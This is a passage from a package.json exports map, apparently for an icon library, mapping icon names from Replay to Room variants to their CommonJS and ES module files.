\"./Replay10Sharp.mjs\"\n    },\n    \"./Replay10TwoTone\": {\n      \"require\": \"./Replay10TwoTone.js\",\n      \"import\": \"./Replay10TwoTone.mjs\",\n      \"default\": \"./Replay10TwoTone.mjs\"\n    },\n    \"./Replay30\": {\n      \"require\": \"./Replay30.js\",\n      \"import\": \"./Replay30.mjs\",\n      \"default\": \"./Replay30.mjs\"\n    },\n    \"./Replay30Outlined\": {\n      \"require\": \"./Replay30Outlined.js\",\n      \"import\": \"./Replay30Outlined.mjs\",\n      \"default\": \"./Replay30Outlined.mjs\"\n    },\n    \"./Replay30Rounded\": {\n      \"require\": \"./Replay30Rounded.js\",\n      \"import\": \"./Replay30Rounded.mjs\",\n      \"default\": \"./Replay30Rounded.mjs\"\n    },\n    \"./Replay30Sharp\": {\n      \"require\": \"./Replay30Sharp.js\",\n      \"import\": \"./Replay30Sharp.mjs\",\n      \"default\": \"./Replay30Sharp.mjs\"\n    },\n    \"./Replay30TwoTone\": {\n      \"require\": \"./Replay30TwoTone.js\",\n      \"import\": \"./Replay30TwoTone.mjs\",\n      \"default\": \"./Replay30TwoTone.mjs\"\n    },\n    \"./Replay5\": {\n      \"require\": \"./Replay5.js\",\n      \"import\": \"./Replay5.mjs\",\n      \"default\": \"./Replay5.mjs\"\n    },\n    \"./Replay5Outlined\": {\n      \"require\": \"./Replay5Outlined.js\",\n      \"import\": \"./Replay5Outlined.mjs\",\n      \"default\": \"./Replay5Outlined.mjs\"\n    },\n    \"./Replay5Rounded\": {\n      \"require\": \"./Replay5Rounded.js\",\n      \"import\": \"./Replay5Rounded.mjs\",\n      \"default\": \"./Replay5Rounded.mjs\"\n    },\n    \"./Replay5Sharp\": {\n      \"require\": \"./Replay5Sharp.js\",\n      \"import\": \"./Replay5Sharp.mjs\",\n      \"default\": \"./Replay5Sharp.mjs\"\n    },\n    \"./Replay5TwoTone\": {\n      \"require\": \"./Replay5TwoTone.js\",\n      \"import\": \"./Replay5TwoTone.mjs\",\n      \"default\": \"./Replay5TwoTone.mjs\"\n    },\n    \"./ReplayCircleFilled\": {\n      \"require\": \"./ReplayCircleFilled.js\",\n      \"import\": \"./ReplayCircleFilled.mjs\",\n      \"default\": \"./ReplayCircleFilled.mjs\"\n    },\n    \"./ReplayCircleFilledOutlined\": {\n      \"require\": \"./ReplayCircleFilledOutlined.js\",\n      \"import\": \"./ReplayCircleFilledOutlined.mjs\",\n      \"default\": \"./ReplayCircleFilledOutlined.mjs\"\n    },\n    \"./ReplayCircleFilledRounded\": {\n      \"require\": \"./ReplayCircleFilledRounded.js\",\n      \"import\": \"./ReplayCircleFilledRounded.mjs\",\n      \"default\": \"./ReplayCircleFilledRounded.mjs\"\n    },\n    \"./ReplayCircleFilledSharp\": {\n      \"require\": \"./ReplayCircleFilledSharp.js\",\n      \"import\": \"./ReplayCircleFilledSharp.mjs\",\n      \"default\": \"./ReplayCircleFilledSharp.mjs\"\n    },\n    \"./ReplayCircleFilledTwoTone\": {\n      \"require\": \"./ReplayCircleFilledTwoTone.js\",\n      \"import\": \"./ReplayCircleFilledTwoTone.mjs\",\n      \"default\": \"./ReplayCircleFilledTwoTone.mjs\"\n    },\n    \"./ReplayOutlined\": {\n      \"require\": \"./ReplayOutlined.js\",\n      \"import\": \"./ReplayOutlined.mjs\",\n      \"default\": \"./ReplayOutlined.mjs\"\n    },\n    \"./ReplayRounded\": {\n      \"require\": \"./ReplayRounded.js\",\n      \"import\": \"./ReplayRounded.mjs\",\n      \"default\": \"./ReplayRounded.mjs\"\n    },\n    \"./ReplaySharp\": {\n      \"require\": \"./ReplaySharp.js\",\n      \"import\": \"./ReplaySharp.mjs\",\n      \"default\": \"./ReplaySharp.mjs\"\n    },\n    \"./ReplayTwoTone\": {\n      \"import\": \"./ReplayTwoTone.mjs\",\n      \"require\": \"./ReplayTwoTone.js\",\n      \"default\": \"./ReplayTwoTone.mjs\"\n    },\n    \"./Reply\": {\n      \"require\": \"./Reply.js\",\n      \"import\": \"./Reply.mjs\",\n      \"default\": \"./Reply.mjs\"\n    },\n    \"./ReplyAll\": {\n      \"require\": \"./ReplyAll.js\",\n      \"import\": \"./ReplyAll.mjs\",\n      \"default\": \"./ReplyAll.mjs\"\n    },\n    \"./ReplyAllOutlined\": {\n      \"require\": \"./ReplyAllOutlined.js\",\n      \"import\": \"./ReplyAllOutlined.mjs\",\n      \"default\": \"./ReplyAllOutlined.mjs\"\n    },\n    \"./ReplyAllRounded\": {\n      \"import\": \"./ReplyAllRounded.mjs\",\n      \"require\": \"./ReplyAllRounded.js\",\n      \"default\": \"./ReplyAllRounded.mjs\"\n    },\n    \"./ReplyAllSharp\": {\n      \"import\": \"./ReplyAllSharp.mjs\",\n      \"require\": \"./ReplyAllSharp.js\",\n      \"default\": \"./ReplyAllSharp.mjs\"\n    },\n    \"./ReplyAllTwoTone\": {\n      \"import\": \"./ReplyAllTwoTone.mjs\",\n      \"require\": \"./ReplyAllTwoTone.js\",\n      \"default\": \"./ReplyAllTwoTone.mjs\"\n    },\n    \"./ReplyOutlined\": {\n      \"import\": \"./ReplyOutlined.mjs\",\n      \"require\": \"./ReplyOutlined.js\",\n      \"default\": \"./ReplyOutlined.mjs\"\n    },\n    \"./ReplyRounded\": {\n      \"import\": \"./ReplyRounded.mjs\",\n      \"require\": \"./ReplyRounded.js\",\n      \"default\": \"./ReplyRounded.mjs\"\n    },\n    \"./ReplySharp\": {\n      \"import\": \"./ReplySharp.mjs\",\n      \"require\": \"./ReplySharp.js\",\n      \"default\": \"./ReplySharp.mjs\"\n    },\n    \"./ReplyTwoTone\": {\n      \"import\": \"./ReplyTwoTone.mjs\",\n      \"require\": \"./ReplyTwoTone.js\",\n      \"default\": \"./ReplyTwoTone.mjs\"\n    },\n    \"./Report\": {\n      \"import\": \"./Report.mjs\",\n      \"require\": \"./Report.js\",\n      \"default\": \"./Report.mjs\"\n    },\n    \"./ReportGmailerrorred\": {\n      \"import\": \"./ReportGmailerrorred.mjs\",\n      \"require\": \"./ReportGmailerrorred.js\",\n      \"default\": \"./ReportGmailerrorred.mjs\"\n    },\n    \"./ReportGmailerrorredOutlined\": {\n      \"import\": \"./ReportGmailerrorredOutlined.mjs\",\n      \"require\": \"./ReportGmailerrorredOutlined.js\",\n      \"default\": \"./ReportGmailerrorredOutlined.mjs\"\n    },\n    \"./ReportGmailerrorredRounded\": {\n      \"import\": \"./ReportGmailerrorredRounded.mjs\",\n      \"require\": \"./ReportGmailerrorredRounded.js\",\n      \"default\": \"./ReportGmailerrorredRounded.mjs\"\n    },\n    \"./ReportGmailerrorredSharp\": {\n      \"import\": \"./ReportGmailerrorredSharp.mjs\",\n      \"require\": \"./ReportGmailerrorredSharp.js\",\n      \"default\": \"./ReportGmailerrorredSharp.mjs\"\n    },\n    \"./ReportGmailerrorredTwoTone\": {\n      \"import\": \"./ReportGmailerrorredTwoTone.mjs\",\n      \"require\": \"./ReportGmailerrorredTwoTone.js\",\n      \"default\": \"./ReportGmailerrorredTwoTone.mjs\"\n    },\n    \"./ReportOff\": {\n      \"import\": \"./ReportOff.mjs\",\n      \"require\": \"./ReportOff.js\",\n      \"default\": \"./ReportOff.mjs\"\n    },\n    \"./ReportOffOutlined\": {\n      \"import\": \"./ReportOffOutlined.mjs\",\n      \"require\": \"./ReportOffOutlined.js\",\n      \"default\": \"./ReportOffOutlined.mjs\"\n    },\n    \"./ReportOffRounded\": {\n      \"import\": \"./ReportOffRounded.mjs\",\n      \"require\": \"./ReportOffRounded.js\",\n      \"default\": \"./ReportOffRounded.mjs\"\n    },\n    \"./ReportOffSharp\": {\n      \"import\": \"./ReportOffSharp.mjs\",\n      \"require\": \"./ReportOffSharp.js\",\n      \"default\": \"./ReportOffSharp.mjs\"\n    },\n    \"./ReportOffTwoTone\": {\n      \"import\": \"./ReportOffTwoTone.mjs\",\n      \"require\": \"./ReportOffTwoTone.js\",\n      \"default\": \"./ReportOffTwoTone.mjs\"\n    },\n    \"./ReportOutlined\": {\n      \"import\": \"./ReportOutlined.mjs\",\n      \"require\": \"./ReportOutlined.js\",\n      \"default\": \"./ReportOutlined.mjs\"\n    },\n    \"./ReportProblem\": {\n      \"require\": \"./ReportProblem.js\",\n      \"import\": \"./ReportProblem.mjs\",\n      \"default\": \"./ReportProblem.mjs\"\n    },\n    \"./ReportProblemOutlined\": {\n      \"require\": \"./ReportProblemOutlined.js\",\n      \"import\": \"./ReportProblemOutlined.mjs\",\n      \"default\": \"./ReportProblemOutlined.mjs\"\n    },\n    \"./ReportProblemRounded\": {\n      \"require\": \"./ReportProblemRounded.js\",\n      \"import\": \"./ReportProblemRounded.mjs\",\n      \"default\": \"./ReportProblemRounded.mjs\"\n    },\n    \"./ReportProblemSharp\": {\n      \"require\": \"./ReportProblemSharp.js\",\n      \"import\": \"./ReportProblemSharp.mjs\",\n      \"default\": \"./ReportProblemSharp.mjs\"\n    },\n    \"./ReportProblemTwoTone\": {\n      \"require\": \"./ReportProblemTwoTone.js\",\n      \"import\": \"./ReportProblemTwoTone.mjs\",\n      \"default\": \"./ReportProblemTwoTone.mjs\"\n    },\n    \"./ReportRounded\": {\n      \"require\": \"./ReportRounded.js\",\n      \"import\": \"./ReportRounded.mjs\",\n      \"default\": \"./ReportRounded.mjs\"\n    },\n    \"./ReportSharp\": {\n      \"require\": \"./ReportSharp.js\",\n      \"import\": \"./ReportSharp.mjs\",\n      \"default\": \"./ReportSharp.mjs\"\n    },\n    \"./ReportTwoTone\": {\n      \"require\": \"./ReportTwoTone.js\",\n      \"import\": \"./ReportTwoTone.mjs\",\n      \"default\": \"./ReportTwoTone.mjs\"\n    },\n    \"./RequestPage\": {\n      \"require\": \"./RequestPage.js\",\n      \"import\": \"./RequestPage.mjs\",\n      \"default\": \"./RequestPage.mjs\"\n    },\n    \"./RequestPageOutlined\": {\n      \"require\": \"./RequestPageOutlined.js\",\n      \"import\": \"./RequestPageOutlined.mjs\",\n      \"default\": \"./RequestPageOutlined.mjs\"\n    },\n    \"./RequestPageRounded\": {\n      \"require\": \"./RequestPageRounded.js\",\n      \"import\": \"./RequestPageRounded.mjs\",\n      \"default\": \"./RequestPageRounded.mjs\"\n    },\n    \"./RequestPageSharp\": {\n      \"require\": \"./RequestPageSharp.js\",\n      \"import\": \"./RequestPageSharp.mjs\",\n      \"default\": \"./RequestPageSharp.mjs\"\n    },\n    \"./RequestPageTwoTone\": {\n      \"require\": \"./RequestPageTwoTone.js\",\n      \"import\": \"./RequestPageTwoTone.mjs\",\n      \"default\": \"./RequestPageTwoTone.mjs\"\n    },\n    \"./RequestQuote\": {\n      \"require\": \"./RequestQuote.js\",\n      \"import\": \"./RequestQuote.mjs\",\n      \"default\": \"./RequestQuote.mjs\"\n    },\n    \"./RequestQuoteOutlined\": {\n      \"require\": \"./RequestQuoteOutlined.js\",\n      \"import\": \"./RequestQuoteOutlined.mjs\",\n      \"default\": \"./RequestQuoteOutlined.mjs\"\n    },\n    \"./RequestQuoteRounded\": {\n      \"require\": \"./RequestQuoteRounded.js\",\n      \"import\": \"./RequestQuoteRounded.mjs\",\n      \"default\": \"./RequestQuoteRounded.mjs\"\n    },\n    \"./RequestQuoteSharp\": {\n      \"require\": \"./RequestQuoteSharp.js\",\n      \"import\": \"./RequestQuoteSharp.mjs\",\n      \"default\": \"./RequestQuoteSharp.mjs\"\n    },\n    \"./RequestQuoteTwoTone\": {\n      \"require\": \"./RequestQuoteTwoTone.js\",\n      \"import\": \"./RequestQuoteTwoTone.mjs\",\n      \"default\": \"./RequestQuoteTwoTone.mjs\"\n    },\n    \"./ResetTv\": {\n      \"require\": \"./ResetTv.js\",\n      \"import\": \"./ResetTv.mjs\",\n      \"default\": \"./ResetTv.mjs\"\n    },\n    \"./ResetTvOutlined\": {\n      \"require\": \"./ResetTvOutlined.js\",\n      \"import\": \"./ResetTvOutlined.mjs\",\n      \"default\": \"./ResetTvOutlined.mjs\"\n    },\n    \"./ResetTvRounded\": {\n      \"require\": \"./ResetTvRounded.js\",\n      \"import\": \"./ResetTvRounded.mjs\",\n      \"default\": \"./ResetTvRounded.mjs\"\n    },\n    \"./ResetTvSharp\": {\n      \"import\": \"./ResetTvSharp.mjs\",\n      \"require\": \"./ResetTvSharp.js\",\n      \"default\": \"./ResetTvSharp.mjs\"\n    },\n    \"./ResetTvTwoTone\": {\n      \"import\": \"./ResetTvTwoTone.mjs\",\n      \"require\": \"./ResetTvTwoTone.js\",\n      \"default\": \"./ResetTvTwoTone.mjs\"\n    },\n    \"./RestartAlt\": {\n      \"import\": \"./RestartAlt.mjs\",\n      \"require\": \"./RestartAlt.js\",\n      \"default\": \"./RestartAlt.mjs\"\n    },\n    \"./RestartAltOutlined\": {\n      \"import\": \"./RestartAltOutlined.mjs\",\n      \"require\": \"./RestartAltOutlined.js\",\n      \"default\": \"./RestartAltOutlined.mjs\"\n    },\n    \"./RestartAltRounded\": {\n      \"import\": \"./RestartAltRounded.mjs\",\n      \"require\": \"./RestartAltRounded.js\",\n      \"default\": \"./RestartAltRounded.mjs\"\n    },\n    \"./RestartAltSharp\": {\n      \"import\": \"./RestartAltSharp.mjs\",\n      \"require\": \"./RestartAltSharp.js\",\n      \"default\": \"./RestartAltSharp.mjs\"\n    },\n    \"./RestartAltTwoTone\": {\n      \"import\": \"./RestartAltTwoTone.mjs\",\n      \"require\": \"./RestartAltTwoTone.js\",\n      \"default\": \"./RestartAltTwoTone.mjs\"\n    },\n    \"./Restaurant\": {\n      \"import\": \"./Restaurant.mjs\",\n      \"require\": \"./Restaurant.js\",\n      \"default\": \"./Restaurant.mjs\"\n    },\n    \"./RestaurantMenu\": {\n      \"import\": \"./RestaurantMenu.mjs\",\n      \"require\": \"./RestaurantMenu.js\",\n      \"default\": \"./RestaurantMenu.mjs\"\n    },\n    \"./RestaurantMenuOutlined\": {\n      \"import\": \"./RestaurantMenuOutlined.mjs\",\n      \"require\": \"./RestaurantMenuOutlined.js\",\n      \"default\": \"./RestaurantMenuOutlined.mjs\"\n    },\n    \"./RestaurantMenuRounded\": {\n      \"import\": \"./RestaurantMenuRounded.mjs\",\n      \"require\": \"./RestaurantMenuRounded.js\",\n      \"default\": \"./RestaurantMenuRounded.mjs\"\n    },\n    \"./RestaurantMenuSharp\": {\n      \"import\": \"./RestaurantMenuSharp.mjs\",\n      \"require\": \"./RestaurantMenuSharp.js\",\n      \"default\": \"./RestaurantMenuSharp.mjs\"\n    },\n    \"./RestaurantMenuTwoTone\": {\n      \"import\": \"./RestaurantMenuTwoTone.mjs\",\n      \"require\": \"./RestaurantMenuTwoTone.js\",\n      \"default\": \"./RestaurantMenuTwoTone.mjs\"\n    },\n    \"./RestaurantOutlined\": {\n      \"import\": \"./RestaurantOutlined.mjs\",\n      \"require\": \"./RestaurantOutlined.js\",\n      \"default\": \"./RestaurantOutlined.mjs\"\n    },\n    \"./RestaurantRounded\": {\n      \"require\": \"./RestaurantRounded.js\",\n      \"import\": \"./RestaurantRounded.mjs\",\n      \"default\": \"./RestaurantRounded.mjs\"\n    },\n    \"./RestaurantSharp\": {\n      \"import\": \"./RestaurantSharp.mjs\",\n      \"require\": \"./RestaurantSharp.js\",\n      \"default\": \"./RestaurantSharp.mjs\"\n    },\n    \"./RestaurantTwoTone\": {\n      \"import\": \"./RestaurantTwoTone.mjs\",\n      \"require\": \"./RestaurantTwoTone.js\",\n      \"default\": \"./RestaurantTwoTone.mjs\"\n    },\n    \"./Restore\": {\n      \"import\": \"./Restore.mjs\",\n      \"require\": \"./Restore.js\",\n      \"default\": \"./Restore.mjs\"\n    },\n    \"./RestoreFromTrash\": {\n      \"import\": \"./RestoreFromTrash.mjs\",\n      \"require\": \"./RestoreFromTrash.js\",\n      \"default\": \"./RestoreFromTrash.mjs\"\n    },\n    \"./RestoreFromTrashOutlined\": {\n      \"import\": \"./RestoreFromTrashOutlined.mjs\",\n      \"require\": \"./RestoreFromTrashOutlined.js\",\n      \"default\": \"./RestoreFromTrashOutlined.mjs\"\n    },\n    \"./RestoreFromTrashRounded\": {\n      \"import\": \"./RestoreFromTrashRounded.mjs\",\n      \"require\": \"./RestoreFromTrashRounded.js\",\n      \"default\": \"./RestoreFromTrashRounded.mjs\"\n    },\n    \"./RestoreFromTrashSharp\": {\n      \"import\": \"./RestoreFromTrashSharp.mjs\",\n      \"require\": \"./RestoreFromTrashSharp.js\",\n      \"default\": \"./RestoreFromTrashSharp.mjs\"\n    },\n    \"./RestoreFromTrashTwoTone\": {\n      \"import\": \"./RestoreFromTrashTwoTone.mjs\",\n      \"require\": \"./RestoreFromTrashTwoTone.js\",\n      \"default\": \"./RestoreFromTrashTwoTone.mjs\"\n    },\n    \"./RestoreOutlined\": {\n      \"require\": \"./RestoreOutlined.js\",\n      \"import\": \"./RestoreOutlined.mjs\",\n      \"default\": \"./RestoreOutlined.mjs\"\n    },\n    \"./RestorePage\": {\n      \"import\": \"./RestorePage.mjs\",\n      \"require\": \"./RestorePage.js\",\n      \"default\": \"./RestorePage.mjs\"\n    },\n    \"./RestorePageOutlined\": {\n      \"import\": \"./RestorePageOutlined.mjs\",\n      \"require\": \"./RestorePageOutlined.js\",\n      \"default\": \"./RestorePageOutlined.mjs\"\n    },\n    \"./RestorePageRounded\": {\n      \"import\": \"./RestorePageRounded.mjs\",\n      \"require\": \"./RestorePageRounded.js\",\n      \"default\": \"./RestorePageRounded.mjs\"\n    },\n    \"./RestorePageSharp\": {\n      \"import\": \"./RestorePageSharp.mjs\",\n      \"require\": \"./RestorePageSharp.js\",\n      \"default\": \"./RestorePageSharp.mjs\"\n    },\n    \"./RestorePageTwoTone\": {\n      \"import\": \"./RestorePageTwoTone.mjs\",\n      \"require\": \"./RestorePageTwoTone.js\",\n      \"default\": \"./RestorePageTwoTone.mjs\"\n    },\n    \"./RestoreRounded\": {\n      \"import\": \"./RestoreRounded.mjs\",\n      \"require\": \"./RestoreRounded.js\",\n      \"default\": \"./RestoreRounded.mjs\"\n    },\n    \"./RestoreSharp\": {\n      \"import\": \"./RestoreSharp.mjs\",\n      \"require\": \"./RestoreSharp.js\",\n      \"default\": \"./RestoreSharp.mjs\"\n    },\n    \"./RestoreTwoTone\": {\n      \"import\": \"./RestoreTwoTone.mjs\",\n      \"require\": \"./RestoreTwoTone.js\",\n      \"default\": \"./RestoreTwoTone.mjs\"\n    },\n    \"./Reviews\": {\n      \"require\": \"./Reviews.js\",\n      \"import\": \"./Reviews.mjs\",\n      \"default\": \"./Reviews.mjs\"\n    },\n    \"./ReviewsOutlined\": {\n      \"require\": \"./ReviewsOutlined.js\",\n      \"import\": \"./ReviewsOutlined.mjs\",\n      \"default\": \"./ReviewsOutlined.mjs\"\n    },\n    \"./ReviewsRounded\": {\n      \"require\": \"./ReviewsRounded.js\",\n      \"import\": \"./ReviewsRounded.mjs\",\n      \"default\": \"./ReviewsRounded.mjs\"\n    },\n    \"./ReviewsSharp\": {\n      \"require\": \"./ReviewsSharp.js\",\n      \"import\": \"./ReviewsSharp.mjs\",\n      \"default\": \"./ReviewsSharp.mjs\"\n    },\n    \"./ReviewsTwoTone\": {\n      \"require\": \"./ReviewsTwoTone.js\",\n      \"import\": \"./ReviewsTwoTone.mjs\",\n      \"default\": \"./ReviewsTwoTone.mjs\"\n    },\n    \"./RiceBowl\": {\n      \"require\": \"./RiceBowl.js\",\n      \"import\": \"./RiceBowl.mjs\",\n      \"default\": \"./RiceBowl.mjs\"\n    },\n    \"./RiceBowlOutlined\": {\n      \"require\": \"./RiceBowlOutlined.js\",\n      \"import\": \"./RiceBowlOutlined.mjs\",\n      \"default\": \"./RiceBowlOutlined.mjs\"\n    },\n    \"./RiceBowlRounded\": {\n      \"require\": \"./RiceBowlRounded.js\",\n      \"import\": \"./RiceBowlRounded.mjs\",\n      \"default\": \"./RiceBowlRounded.mjs\"\n    },\n    \"./RiceBowlSharp\": {\n      \"require\": \"./RiceBowlSharp.js\",\n      \"import\": \"./RiceBowlSharp.mjs\",\n      \"default\": \"./RiceBowlSharp.mjs\"\n    },\n    \"./RiceBowlTwoTone\": {\n      \"require\": \"./RiceBowlTwoTone.js\",\n      \"import\": \"./RiceBowlTwoTone.mjs\",\n      \"default\": \"./RiceBowlTwoTone.mjs\"\n    },\n    \"./RingVolume\": {\n      \"require\": \"./RingVolume.js\",\n      \"import\": \"./RingVolume.mjs\",\n      \"default\": \"./RingVolume.mjs\"\n    },\n    \"./RingVolumeOutlined\": {\n      \"require\": \"./RingVolumeOutlined.js\",\n      \"import\": \"./RingVolumeOutlined.mjs\",\n      \"default\": \"./RingVolumeOutlined.mjs\"\n    },\n    \"./RingVolumeRounded\": {\n      \"require\": \"./RingVolumeRounded.js\",\n      \"import\": \"./RingVolumeRounded.mjs\",\n      \"default\": \"./RingVolumeRounded.mjs\"\n    },\n    \"./RingVolumeSharp\": {\n      \"require\": \"./RingVolumeSharp.js\",\n      \"import\": \"./RingVolumeSharp.mjs\",\n      \"default\": \"./RingVolumeSharp.mjs\"\n    },\n    \"./RingVolumeTwoTone\": {\n      \"require\": \"./RingVolumeTwoTone.js\",\n      \"import\": \"./RingVolumeTwoTone.mjs\",\n      \"default\": \"./RingVolumeTwoTone.mjs\"\n    },\n    \"./Rocket\": {\n      \"require\": \"./Rocket.js\",\n      \"import\": \"./Rocket.mjs\",\n      \"default\": \"./Rocket.mjs\"\n    },\n    \"./RocketLaunch\": {\n      \"require\": \"./RocketLaunch.js\",\n      \"import\": \"./RocketLaunch.mjs\",\n      \"default\": \"./RocketLaunch.mjs\"\n    },\n    \"./RocketLaunchOutlined\": {\n      \"require\": \"./RocketLaunchOutlined.js\",\n      \"import\": \"./RocketLaunchOutlined.mjs\",\n      \"default\": \"./RocketLaunchOutlined.mjs\"\n    },\n    \"./RocketLaunchRounded\": {\n      \"require\": \"./RocketLaunchRounded.js\",\n      \"import\": \"./RocketLaunchRounded.mjs\",\n      \"default\": \"./RocketLaunchRounded.mjs\"\n    },\n    \"./RocketLaunchSharp\": {\n      \"require\": \"./RocketLaunchSharp.js\",\n      \"import\": \"./RocketLaunchSharp.mjs\",\n      \"default\": \"./RocketLaunchSharp.mjs\"\n    },\n    \"./RocketLaunchTwoTone\": {\n      \"require\": \"./RocketLaunchTwoTone.js\",\n      \"import\": \"./RocketLaunchTwoTone.mjs\",\n      \"default\": \"./RocketLaunchTwoTone.mjs\"\n    },\n    \"./RocketOutlined\": {\n      \"require\": \"./RocketOutlined.js\",\n      \"import\": \"./RocketOutlined.mjs\",\n      \"default\": \"./RocketOutlined.mjs\"\n    },\n    \"./RocketRounded\": {\n      \"require\": \"./RocketRounded.js\",\n      \"import\": \"./RocketRounded.mjs\",\n      \"default\": \"./RocketRounded.mjs\"\n    },\n    \"./RocketSharp\": {\n      \"require\": \"./RocketSharp.js\",\n      \"import\": \"./RocketSharp.mjs\",\n      \"default\": \"./RocketSharp.mjs\"\n    },\n    \"./RocketTwoTone\": {\n      \"require\": \"./RocketTwoTone.js\",\n      \"import\": \"./RocketTwoTone.mjs\",\n      \"default\": \"./RocketTwoTone.mjs\"\n    },\n    \"./RollerShades\": {\n      \"require\": \"./RollerShades.js\",\n      \"import\": \"./RollerShades.mjs\",\n      \"default\": \"./RollerShades.mjs\"\n    },\n    \"./RollerShadesClosed\": {\n      \"require\": \"./RollerShadesClosed.js\",\n      \"import\": \"./RollerShadesClosed.mjs\",\n      \"default\": \"./RollerShadesClosed.mjs\"\n    },\n    \"./RollerShadesClosedOutlined\": {\n      \"require\": \"./RollerShadesClosedOutlined.js\",\n      \"import\": \"./RollerShadesClosedOutlined.mjs\",\n      \"default\": \"./RollerShadesClosedOutlined.mjs\"\n    },\n    \"./RollerShadesClosedRounded\": {\n      \"require\": \"./RollerShadesClosedRounded.js\",\n      \"import\": \"./RollerShadesClosedRounded.mjs\",\n      \"default\": \"./RollerShadesClosedRounded.mjs\"\n    },\n    \"./RollerShadesClosedSharp\": {\n      \"require\": \"./RollerShadesClosedSharp.js\",\n      \"import\": \"./RollerShadesClosedSharp.mjs\",\n      \"default\": \"./RollerShadesClosedSharp.mjs\"\n    },\n    \"./RollerShadesClosedTwoTone\": {\n      \"require\": \"./RollerShadesClosedTwoTone.js\",\n      \"import\": \"./RollerShadesClosedTwoTone.mjs\",\n      \"default\": \"./RollerShadesClosedTwoTone.mjs\"\n    },\n    \"./RollerShadesOutlined\": {\n      \"require\": \"./RollerShadesOutlined.js\",\n      \"import\": \"./RollerShadesOutlined.mjs\",\n      \"default\": \"./RollerShadesOutlined.mjs\"\n    },\n    \"./RollerShadesRounded\": {\n      \"require\": \"./RollerShadesRounded.js\",\n      \"import\": \"./RollerShadesRounded.mjs\",\n      \"default\": \"./RollerShadesRounded.mjs\"\n    },\n    \"./RollerShadesSharp\": {\n      \"require\": \"./RollerShadesSharp.js\",\n      \"import\": \"./RollerShadesSharp.mjs\",\n      \"default\": \"./RollerShadesSharp.mjs\"\n    },\n    \"./RollerShadesTwoTone\": {\n      \"require\": \"./RollerShadesTwoTone.js\",\n      \"import\": \"./RollerShadesTwoTone.mjs\",\n      \"default\": \"./RollerShadesTwoTone.mjs\"\n    },\n    \"./RollerSkating\": {\n      \"import\": \"./RollerSkating.mjs\",\n      \"require\": \"./RollerSkating.js\",\n      \"default\": \"./RollerSkating.mjs\"\n    },\n    \"./RollerSkatingOutlined\": {\n      \"import\": \"./RollerSkatingOutlined.mjs\",\n      \"require\": \"./RollerSkatingOutlined.js\",\n      \"default\": \"./RollerSkatingOutlined.mjs\"\n    },\n    \"./RollerSkatingRounded\": {\n      \"require\": \"./RollerSkatingRounded.js\",\n      \"import\": \"./RollerSkatingRounded.mjs\",\n      \"default\": \"./RollerSkatingRounded.mjs\"\n    },\n    \"./RollerSkatingSharp\": {\n      \"require\": \"./RollerSkatingSharp.js\",\n      \"import\": \"./RollerSkatingSharp.mjs\",\n      \"default\": \"./RollerSkatingSharp.mjs\"\n    },\n    \"./RollerSkatingTwoTone\": {\n      \"require\": \"./RollerSkatingTwoTone.js\",\n      \"import\": \"./RollerSkatingTwoTone.mjs\",\n      \"default\": \"./RollerSkatingTwoTone.mjs\"\n    },\n    \"./Roofing\": {\n      \"require\": \"./Roofing.js\",\n      \"import\": \"./Roofing.mjs\",\n      \"default\": \"./Roofing.mjs\"\n    },\n    \"./RoofingOutlined\": {\n      \"require\": \"./RoofingOutlined.js\",\n      \"import\": \"./RoofingOutlined.mjs\",\n      \"default\": \"./RoofingOutlined.mjs\"\n    },\n    \"./RoofingRounded\": {\n      \"require\": \"./RoofingRounded.js\",\n      \"import\": \"./RoofingRounded.mjs\",\n      \"default\": \"./RoofingRounded.mjs\"\n    },\n    \"./RoofingSharp\": {\n      \"require\": \"./RoofingSharp.js\",\n      \"import\": \"./RoofingSharp.mjs\",\n      \"default\": \"./RoofingSharp.mjs\"\n    },\n    \"./RoofingTwoTone\": {\n      \"require\": \"./RoofingTwoTone.js\",\n      \"import\": \"./RoofingTwoTone.mjs\",\n      \"default\": \"./RoofingTwoTone.mjs\"\n    },\n    \"./Room\": {\n      \"import\": \"./Room.mjs\",\n      \"require\": \"./Room.js\",\n      \"default\": \"./Room.mjs\"\n    },\n    \"./RoomOutlined\": {\n      \"import\": \"./RoomOutlined.mjs\",\n      \"require\": \"./RoomOutlined.js\",\n      \"default\": \"./RoomOutlined.mjs\"\n    },\n    \"./RoomPreferences\": {\n      \"require\": \"./RoomPreferences.js\",\n      \"import\": \"./RoomPreferences.mjs\",\n      \"default\": \"./RoomPreferences.mjs\"\n    },\n    \"./RoomPreferencesOutlined\": {\n      \"require\": \"./RoomPreferencesOutlined.js\",\n      \"import\": \"./RoomPreferencesOutlined.mjs\",\n      \"default\": \"./RoomPreferencesOutlined.mjs\"\n    },\n    \"./RoomPreferencesRounded\": {\n      \"require\": \"./RoomPreferencesRounded.js\",\n      \"import\": \"./RoomPreferencesRounded.mjs\",\n      \"default\": \"./RoomPreferencesRounded.mjs\"\n    },\n    \"./RoomPreferencesSharp\": {\n      \"require\": \"./RoomPreferencesSharp.js\",\n      \"import\": \"./RoomPreferencesSharp.mjs\",\n      \"default\": \"./RoomPreferencesSharp.mjs\"\n    },\n    \"./RoomPreferencesTwoTone\": {\n      \"require\": \"./RoomPreferencesTwoTone.js\",\n      \"import\": \"./RoomPreferencesTwoTone.mjs\",\n      \"default\": \"./RoomPreferencesTwoTone.mjs\"\n    },\n    \"./RoomRounded\": {\n      \"import\": \"./RoomRounded.mjs\",\n      \"require\": \"./RoomRounded.js\",\n      \"default\": \"./RoomRounded.mjs\"\n    },\n    \"./RoomService\": {\n      \"import\": \"./RoomService.mjs\",\n      \"require\": \"./RoomService.js\",\n      \"default\": \"./RoomService.mjs\"\n    },\n    \"./RoomServiceOutlined\": {\n      \"import\": \"./RoomServiceOutlined.mjs\",\n      \"require\": \"./RoomServiceOutlined.js\",\n      \"default\": \"./RoomServiceOutlined.mjs\"\n    },\n    \"./RoomServiceRounded\": {\n      \"import\": \"./RoomServiceRounded.mjs\",\n      \"require\": \"./RoomServiceRounded.js\",\n      \"default\": \"./RoomServiceRounded.mjs\"\n    },\n    \"./RoomServiceSharp\": {\n      \"import\": \"./RoomServiceSharp.mjs\",\n      \"require\": \"./RoomServiceSharp.js\",\n      \"default\": \"./RoomServiceSharp.mjs\"\n    },\n    \"./RoomServiceTwoTone\": {\n      \"import\": \"./RoomServiceTwoTone.mjs\",\n      \"require\": \"./RoomServiceTwoTone.js\",\n      \"default\": \"./RoomServiceTwoTone.mjs\"\n    },\n    \"./RoomSharp\": {\n      \"import\": \"./RoomSharp.mjs\",\n      \"require\": \"./RoomSharp.js\",\n      \"default\": \"./RoomSharp.mjs\"\n    },\n    \"./RoomTwoTone\": {\n      \"import\": 